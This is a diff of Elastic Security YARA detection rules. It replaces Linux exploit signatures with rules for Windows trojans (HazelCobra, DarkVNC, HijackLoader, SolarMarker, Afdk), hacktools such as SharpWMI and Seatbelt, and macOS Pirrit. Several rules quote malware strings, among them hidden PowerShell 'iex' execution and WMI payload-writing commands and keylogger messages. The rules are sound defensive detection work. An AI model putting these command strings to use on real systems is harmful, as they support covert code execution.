 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Enoket.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ae8f7e7df62316400d0c5fe0139d7a48c9f184e92706b552aad3d827d3dbbbf"
-		logic_hash = "204082a3be602b3f6aebb013a46e6f9c98b5dad2476350afa60c1954b13598fe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpWMI.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2134a5e1a5eece1336f831a7686c5ea3b6ca5aaa63ab7e7820be937da0678e15"
+		logic_hash = "de8749951ece8d4798ade4661d531515e12edf8e8606ddc330000d847a66a26c"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "84be6877d6b1eb091de9817a5cf0ecba5e0e82089a6dd1dc0af2e91b01fe4003"
+		fingerprint = "20719ea15d4dee90c95b474689752172a6b6fb941dced81803f9f726ddc26d29"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 66 6F 75 6E 64 20 61 74 20 30 78 25 30 34 78 20 69 6E 20 74 }
+		$guid = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide nocase
+		$str0 = "powershell -w hidden -nop -c \"$e=([WmiClass]'{0}:{1}').Properties['{2}'].Value;[IO.File]::WriteAllBytes('{3}',[Byte[]][Int[]]($e-split','))\"" ascii wide
+		$str1 = "powershell -w hidden -nop -c \"iex($env:{0})\"" ascii wide
+		$str2 = "SELECT * FROM Win32_Process" ascii wide
+		$str3 = "DOWNLOAD_URL" ascii wide
+		$str4 = "TARGET_FILE" ascii wide
+		$str5 = "SELECT Enabled,DisplayName,Action,Direction,InstanceID from MSFT_NetFirewallRule WHERE Enabled=1" ascii wide
+		$print_str0 = "This may indicate called SharpWMI did not invoked WMI using elevated/impersonated token." ascii wide
+		$print_str1 = "[+] Attempted to terminate remote process ({0}). Returned: {1}" ascii wide
 
 	condition:
-		all of them
+		$guid or ( all of ($str*) and 1 of ($print_str*))
 }
-rule ELASTIC_Linux_Exploit_Enoket_5969A348 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Hazelcobra_6A9Fe48A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
+		description = "Detects Windows Trojan Hazelcobra (Windows.Trojan.HazelCobra)"
 		author = "Elastic Security"
-		id = "5969a348-6573-4cb3-b81e-db455ff7b484"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6a9fe48a-6fd9-4bce-ac43-254c02d6b3a4"
+		date = "2023-11-01"
+		modified = "2023-11-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Enoket.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4b4d7ca9e1ffa2c46cb097d4a014c59b1a9feb93b3adcb5936ef6a1dfef9b0ae"
-		logic_hash = "e47af0fba86c9152d17911b984070a8419b98da8916538ebb1065a5348da6e31"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_HazelCobra.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d"
+		logic_hash = "dc4d561497c2e3da270d305ceaf3194b48d64c0d8e212ee6f03a2d89c8e006e8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7e9b9ba6146754857632451be2f98a5008268091ae1cfab1a87322b6fe30097c"
+		fingerprint = "4dc883be5fb6aae0dac0ec5d64baf24f0f3aaded6d759ec7dccb1a2ae641ae7b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FC 83 7D FC FF 75 07 B8 FF FF FF FF EB 0F 8B 45 FC 01 45 F0 83 7D }
+		$a1 = { 83 E9 37 48 63 C2 F6 C2 01 75 0C C0 E1 04 48 D1 F8 88 4C 04 40 EB 07 }
+		$s1 = "Data file loaded. Running..." fullword
+		$s2 = "No key in args" fullword
+		$s3 = "Can't read data file" fullword
 
 	condition:
-		all of them
+		$a1 or all of ($s*)
 }
-rule ELASTIC_Linux_Exploit_Enoket_80Fac3E9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Darkvnc_Bd803C2E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
+		description = "Detects Windows Trojan Darkvnc (Windows.Trojan.DarkVNC)"
 		author = "Elastic Security"
-		id = "80fac3e9-bf77-46d1-8d9b-25f3cf06a3b7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "bd803c2e-77bd-4b8c-bdfa-11a9bd54a454"
+		date = "2023-01-23"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Enoket.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3355ad81c566914a7d7734b40c46ded0cfa53aa22c6e834d42e185bf8bbe6128"
-		logic_hash = "19cb7f02ca80095293c4a09f7ea616c31364af1e4189a9211aaba54aaa2db14e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DarkVNC.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0fcc1b02fdaf211c772bd4fa1abcdeb5338d95911c226a9250200ff7f8e45601"
+		logic_hash = "d9e8a42a424d6a186939682e1cd2ed794c8a3765824188e863b1b2829650e2d5"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "627418bfe84af36e9b34d42aa42cb6d793e6bc41aa555a77e4f9389a9407d6f2"
+		fingerprint = "131f4b3ef5b01720a52958058ecc4c3681ed0ca975a1a06cd034d7205680e710"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 42 4C 45 20 54 4F 20 4D 41 50 20 5A 45 52 4F 20 50 41 47 45 }
+		$a1 = "BOT-%s(%s)_%S-%S%u%u" wide fullword
+		$a2 = "{%08X-%04X-%04X-%04X-%08X%04X}" wide fullword
+		$a3 = "monitor_off / monitor_on" ascii fullword
+		$a4 = "bot_shell >" ascii fullword
+		$a5 = "keyboard and mouse are blocked !" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Enoket_7Da5F86A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Badbee_231Cb054 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
+		description = "Detects Linux Trojan Badbee (Linux.Trojan.Badbee)"
 		author = "Elastic Security"
-		id = "7da5f86a-c177-47c9-a82e-50648c84174a"
+		id = "231cb054-36a9-434f-8254-17fee38e5275"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Enoket.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "406b003978d79d453d3e2c21b991b113bf2fc53ffbf3a1724c5b97a4903ef550"
-		logic_hash = "df5769a87230f5e563849302f32673b5f5de2595e12de72c27921d45edc58928"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Badbee.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "832ba859c3030e58b94398ff663ddfe27078946a83dcfc81a5ef88351d41f4e2"
+		logic_hash = "a1ed8f2da9b4f891a5c65d943424bb7c465f0d07e7756e292c617ce5ef14d182"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cf9a703969e3f9a3cd20119fc0a24fa2d16bec5ea7e3b1a8df763872625c90fc"
+		fingerprint = "ebe789fc467daf9276f72210f94e87b7fa79fc92a72740de49e47b71f123ed5c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60562,115 +64768,120 @@ rule ELASTIC_Linux_Exploit_Enoket_7Da5F86A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { FF 75 F2 80 7D 94 00 74 23 0F B6 0F B8 01 00 00 00 3A 4D 94 }
+		$a = { 8D B4 41 31 44 97 10 83 F9 10 75 E4 89 DE C1 FE 14 F7 C6 01 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Enoket_C77C0D6D : FILE MEMORY
+rule ELASTIC_Macos_Virus_Pirrit_271B8Ed0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
+		description = "Detects Macos Virus Pirrit (MacOS.Virus.Pirrit)"
 		author = "Elastic Security"
-		id = "c77c0d6d-7f5c-4618-b6f6-3c1ddc70783c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "271b8ed0-937a-4be6-aecb-62535b5aeda7"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Enoket.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ae8f7e7df62316400d0c5fe0139d7a48c9f184e92706b552aad3d827d3dbbbf"
-		logic_hash = "504d61715bd5dba7f777fcb2d62eb53d8d54dad2dcf93f2fc2d7dcd359c4b994"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Virus_Pirrit.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7feda05d41b09c06a08c167c7f4dde597ac775c54bf0d74a82aa533644035177"
+		logic_hash = "cb77f6df1403afbc7f45d30551559b6de7eb1c3434778b46d31754da0a1b1f10"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "739e23abbd2971d6ff24c94a87d7aab082aec85f9cd7eb3a168b35fa22f32eb9"
+		fingerprint = "12b09b2e3a43905db2cfe96d0fd0e735cfc7784ee7b03586c5d437d7c6a1b422"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 6E 64 20 74 68 65 20 77 6F 72 6C 64 2C 20 6F 6E 65 20 68 61 }
+		$a = { 35 4A 6A 00 00 32 80 35 44 6A 00 00 75 80 35 3E 6A 00 00 1F 80 35 38 6A 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Enoket_Fbf508E1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Hijackloader_A8444812 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
+		description = "Detects Windows Trojan Hijackloader (Windows.Trojan.HijackLoader)"
 		author = "Elastic Security"
-		id = "fbf508e1-2a44-417e-a2e4-8d43c2b64017"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a8444812-6aef-4ed7-a44b-b147301544c8"
+		date = "2023-11-15"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Enoket.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d1fa8520d3c3811d29c3d5702e7e0e7296b3faef0553835c495223a2bc015214"
-		logic_hash = "21b1d69677c3fddb210dcf5947e8321abccd5a1ebbde8438a83fee5d4b29443d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_HijackLoader.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "065c379a33ef1539e8a68fd4b7638fe8a30ec19fc128642ed0c68539656374b9"
+		logic_hash = "6cd88adc7a0d35013a26d1135efb294ee6f9ddab99b4549e82d3d6f5f65509b6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4909d3a04b820547fbff774c64c112b8a6a5e95452992639296a220776826d98"
+		fingerprint = "dd9f3bca44b585e3a31626b66223288634fcb092e43ecb053806726e5f2006e9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 E8 76 0F 48 8B 45 E8 48 83 E8 01 0F B6 00 3C 5F 74 DF 48 8B }
+		$a1 = { 8B 45 ?? 40 89 45 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 45 ?? 03 45 ?? 66 0F BE 00 66 89 45 ?? FF 75 ?? FF 75 ?? 8D 45 ?? 50 E8 [4] 83 C4 0C EB ?? }
+		$a2 = { 8B 45 ?? 8B 4D ?? 8B [1-5] 0F AF [1-5] 0F B7 [2] 03 C1 8B 4D ?? 89 01 }
+		$a3 = { 33 C0 40 74 ?? 8B 45 ?? 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? FF 75 ?? FF 75 ?? E8 [4] 59 59 89 45 ?? 8B 45 ?? 8B 4D ?? 0F B7 04 41 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? 8B 45 ?? 3B 45 ?? 75 ?? 8B 45 ?? EB ?? 8B 45 ?? 40 89 45 ?? EB ?? }
+		$a4 = { 8B 45 ?? 8B 4D ?? 8B [1-5] 0F AF [1-5] 0F B7 4D ?? 03 C1 8B 4D ?? 89 01 }
+		$a5 = { 8B 45 ?? 83 C0 04 89 45 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 45 ?? 8B 4D ?? 8B 04 81 03 45 ?? 8B 4D ?? 8B 55 ?? 89 04 8A 8B 45 ?? 40 89 45 ?? EB ?? }
+		$a6 = { 8B 45 ?? 83 C0 04 89 45 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 45 ?? 03 45 ?? 89 45 ?? 8B 45 ?? 8B 00 89 45 ?? 8B 45 ?? 33 45 ?? 8B 4D ?? 89 01 EB ?? }
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Exploit_Race_758A0884 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Afdk_C952Fcfa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Race (Linux.Exploit.Race)"
+		description = "Detects Windows Trojan Afdk (Windows.Trojan.Afdk)"
 		author = "Elastic Security"
-		id = "758a0884-0174-46c8-a57a-980fc04360d0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "c952fcfa-75e1-4880-a4e3-1e4cc89c160f"
+		date = "2023-12-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Race.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a4966baaa34b05cb782071ef114a53cac164e6dece275c862fe96a2cff4a6f06"
-		logic_hash = "ccba0e2ddefd53939cda6b4985def2d487ac5916cbad7374ac3143f02b9f7ff5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Afdk.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6723a9489e7cfb5e2d37ff9160d55cda065f06907122d73764849808018eb7a0"
+		logic_hash = "a0589a3bf9e733e615b6e552395b3ff513e4fad7efd7d2ebea634aa91d2f60d9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3516086ae773ec1c1de75a54bafbb72ad49b4c7f1661961d5613462b53f26c43"
+		fingerprint = "577b2f82944711a51e52eb35a0eaf17379576ae151dd820d8b442e8fed8a5373"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 22 00 00 00 36 00 00 00 18 85 04 08 34 00 00 00 12 00 00 }
+		$a = { 55 8B EC 51 51 83 65 F8 00 8D 45 F8 83 65 FC 00 50 E8 80 FF FF FF 59 85 C0 75 2B 8B 4D 08 8B 55 F8 8B 45 FC 89 41 04 8D 45 F8 89 11 83 CA 1F 50 89 55 F8 E8 7B FF FF FF 59 85 C0 75 09 E8 DA 98 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Pandastealer_8B333E76 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Afdk_5F8Cc135 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Pandastealer (Windows.Trojan.Pandastealer)"
+		description = "Detects Windows Trojan Afdk (Windows.Trojan.Afdk)"
 		author = "Elastic Security"
-		id = "8b333e76-f723-4093-ad72-2f5d42aaa9c9"
-		date = "2021-09-02"
-		modified = "2022-01-13"
+		id = "5f8cc135-88b1-478d-aedb-0d60cee0bbf2"
+		date = "2023-12-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Pandastealer.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ec346bd56be375b695b4bc76720959fa07d1357ffc3783eb61de9b8d91b3d935"
-		logic_hash = "5878799338fc18bac0f946faeadd59c921dee32c9391fc12d22c72c0cd6733a8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Afdk.yar#L21-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6723a9489e7cfb5e2d37ff9160d55cda065f06907122d73764849808018eb7a0"
+		logic_hash = "0523a0cc3a4446f2ac88c72999568313c6b40f7f8975b8e332c0c6b1e48c5d76"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "873af8643b7f08b159867c3556654a5719801aa82e1a1f6402029afad8c01487"
+		fingerprint = "275bfaac332f3cbc1164c35bdbc5cbe8bfd45559f6b929a0b8b64af2de241bd8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60678,32 +64889,31 @@ rule ELASTIC_Windows_Trojan_Pandastealer_8B333E76 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "] - [user: " ascii fullword
-		$a2 = "[-] data unpacked failed" ascii fullword
-		$a3 = "[+] data unpacked" ascii fullword
-		$a4 = "\\history\\" ascii fullword
-		$a5 = "PlayerName" ascii fullword
+		$a1 = "Cannot set the log file name"
+		$a2 = "Cannot install the hook procedure"
+		$a3 = "Keylogger is up and running..."
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Blister_Cb99A1Df : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Solarmarker_D466E548 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
+		description = "Detects Windows Trojan Solarmarker (Windows.Trojan.SolarMarker)"
 		author = "Elastic Security"
-		id = "cb99a1df-756b-46fe-b657-63b4be2c0664"
-		date = "2021-12-21"
-		modified = "2022-01-13"
-		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Blister.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00"
-		logic_hash = "deb1be5300d8af12dda868dd5f4ccdbb3ec653bd97c33a09e567c13ecafb9e8a"
+		id = "d466e548-eb88-41e6-9740-ae59980db835"
+		date = "2023-12-12"
+		modified = "2024-01-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SolarMarker.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "330f5067c93041821be4e7097cf32fb569e2e1d00e952156c9aafcddb847b873"
+		hash = "e2a620e76352fa7ac58407a711821da52093d97d12293ae93d813163c58eb84b"
+		logic_hash = "c0792bc3c1a2f01ff4b8d0a12c95a74491c2805c876f95a26bbeaabecdff70e9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7a7e189ed42019636ffccc06d61e18f2aa17bc3d43d08d50bb77c3258bc1a9a4"
+		fingerprint = "0f4b0162ee8283959e10c459ddc55eb00eae30d241119aad1aa3ea6c101f9889"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60711,30 +64921,28 @@ rule ELASTIC_Windows_Trojan_Blister_Cb99A1Df : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
-		$a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
-		$b1 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
+		$a1 = { 00 00 2B 03 00 2B 15 00 07 2D 09 08 16 FE 01 16 FE 01 2B 01 17 00 13 04 11 04 2D 8C 07 2D 06 08 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Blister_9D757838 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Solarmarker_08Bfc26B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
+		description = "Detects Windows Trojan Solarmarker (Windows.Trojan.SolarMarker)"
 		author = "Elastic Security"
-		id = "9d757838-ebaa-4ecf-b927-ac0f4848c9cb"
-		date = "2022-04-26"
-		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Blister.yar#L24-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "863de84a39c9f741d8103db83b076695d0d10a7384e4e3ba319c05a6018d9737"
-		logic_hash = "4d9ce1622d77b2ac8b20b2dfb60ac672752dabab315221a5449ebd3c73a3edca"
+		id = "08bfc26b-efda-49b4-b685-57edca8b9d18"
+		date = "2024-05-29"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SolarMarker.yar#L22-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c1a6d2d78cc50f080f1fe4cadc6043027bf201d194f2b73625ce3664433a3966"
+		logic_hash = "b31b9f8460b606426c1101eba39a41a75c7ecaafc62388a6a5ac0f24057561ed"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4ef2e22d0006b127b253d02073cde0d805d22d8696562feabc94020e287e2eb2"
+		fingerprint = "9c0c4a5bce63c9d99d53813f7250b3ccc395cb99eaebb8c016f8c040fbfa4ea7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60742,29 +64950,30 @@ rule ELASTIC_Windows_Trojan_Blister_9D757838 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
-		$a2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
+		$a1 = { 07 09 91 61 D2 9C 09 20 C8 00 00 00 5D 16 FE 01 16 FE 01 13 }
+		$a2 = { 91 07 08 91 61 D2 9C 08 20 C8 00 00 00 5D 16 FE 01 16 FE 01 }
+		$a3 = { 06 08 06 08 91 07 08 91 61 D2 9C 08 20 C8 00 00 00 5D 16 FE }
 
 	condition:
 		any of them
 }
-rule ELASTIC_Windows_Trojan_Blister_68B53E1B : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Seatbelt_674Fd535 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
+		description = "Detects Windows Hacktool Seatbelt (Windows.Hacktool.Seatbelt)"
 		author = "Elastic Security"
-		id = "68b53e1b-dbd7-4903-ac10-8336c05f42df"
-		date = "2023-08-02"
-		modified = "2023-08-08"
-		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Blister.yar#L46-L66"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db"
-		logic_hash = "6d935461406a6b9b39867d52aa5ecb088945ae0f8c56895a67e8565e5a2a3699"
+		id = "674fd535-f188-4b20-8b5e-69a111bf08e5"
+		date = "2022-10-20"
+		modified = "2022-11-24"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Seatbelt.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a0e467aacd383727d46e766f1c45b424a6d46248118c155c22c538e8773b3ae7"
+		logic_hash = "1bff820ec5cc9e56e7be4b290a48628115cc1ace5e41278fa76898bf39ef893e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b46d59117eda3d6a7a6397287c962106719bf338d19814e20bde9deeebfe65c1"
+		fingerprint = "cdbafa7507cb723f20ad0c7a288750a0d95792c8fe5ceb5e48c62fd45f2ffc0b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
